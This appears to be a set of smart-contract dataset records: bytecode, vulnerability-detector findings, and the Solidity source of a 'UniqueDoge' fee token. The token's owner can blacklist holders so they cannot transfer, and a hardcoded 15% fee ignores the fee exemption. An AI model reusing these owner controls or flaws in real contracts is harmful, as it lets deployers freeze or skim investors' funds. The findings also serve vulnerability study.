ffffffffffffffffffffffffffffffffffffffff1663a9059cbb3383606001516000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515611d2557600080fd5b6102c65a03f11515611d3657600080fd5b5050506040518051905050611e4a565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb85611da0846060015185604001516123dc90919063ffffffff16565b6000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515611e2d57600080fd5b6102c65a03f11515611e3e57600080fd5b50505060405180519050505b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000848152602001908152602001600020600080820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690556001820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690556002820160009055600382016000905560048201600090556005820160006101000a81549060ff02191690555050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639c79af26868633856040015188886040518763ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018381526020018281526020019650505050505050600060405180830381600087803b151561205757600080fd5b6102c65a03f1151561206857600080fd5b5050508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f2d87480f50083e2b2759522a8fdda59802650a8055e609a7772cf70c07748f52856040518082815260200191505060405180910390a35050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561213257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561216e57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561228957600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141515156122e657600080fd5b8390508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561239457600080fd5b6102c65a03f115156123a557600080fd5b505050604051805190505050505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008082840190508381101515156123f057fe5b8091505092915050565b60c060405190810160405280600073ffffffffffffffffffffffffffffffffffffffff168152602001600073ffffffffffffffffffffffffffffffffffffffff16815260200160008152602001600081526020016000815260200160001515815250905600a165627a7a72305820d570551970abc23db5cde6f5030b0e30ed4f54683b1ffe4191bcd3520ccb08e10029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 8,649 |
0xe48ace4e5e6aa1a3b91e6c16da4859ef07d49e2f
|
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract UniqueDoge is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = " Unique Doge ";
string private constant _symbol = " UniqueDoge ";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1) {
_teamAddress = addr1;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, 15);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e4e565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612971565b61045e565b6040516101789190612e33565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612ff0565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612922565b61048d565b6040516101e09190612e33565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612894565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190613065565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129ee565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612894565b610783565b6040516102b19190612ff0565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612d65565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612e4e565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612971565b61098d565b60405161035b9190612e33565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906129ad565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a40565b6110d1565b005b3480156103f057600080fd5b5061040b600480360381019061040691906128e6565b61121a565b6040516104189190612ff0565b60405180910390f35b60606040518060400160405280600d81526020017f20556e6971756520446f67652000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b6105568560405180606001604052806028815260200161372960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612f30565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612f30565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d03565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612f30565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600c81526020017f20556e69717565446f6765200000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612f30565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613306565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611d71565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612f30565b60405180910390fd5b600e60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190612fb0565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6891906128bd565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0291906128bd565b6040518363ffffffff1660e01b8152600401610e1f929190612d80565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e7191906128bd565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612dd2565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612a69565b5050506001600e60166101000a81548160ff0219169083151502179055506000600e60176101000a81548160ff021916908315150217905550678ac7230489e80000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612da9565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612a17565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612f30565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612ef0565b60405180910390fd5b6111d860646111ca83683635c9adc5dea0000061206b90919063ffffffff16565b6120e690919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f5460405161120f9190612ff0565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090612f90565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612eb0565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190612ff0565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90612f70565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612e70565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612f50565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600e60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590612fd0565b60405180910390fd5b5b5b600f5481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600e60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a729190613126565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600e60159054906101000a900460ff16158015611b2e5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600e60169054906101000a900460ff165b15611b6e57611b5481611d71565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d84848484612130565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612e4e565b60405180910390fd5b5060008385611c8a9190613207565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611cff573d6000803e3d6000fd5b5050565b6000600654821115611d4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4190612e90565b60405180910390fd5b6000611d5461215d565b9050611d6981846120e690919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611dcf577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611dfd5781602001602082028036833780820191505090505b5090503081600081518110611e3b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611edd57600080fd5b505afa158015611ef1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f1591906128bd565b81600181518110611f4f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fb630600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600d60009054906101000a900473ffffffffffffffffffffffffffffffff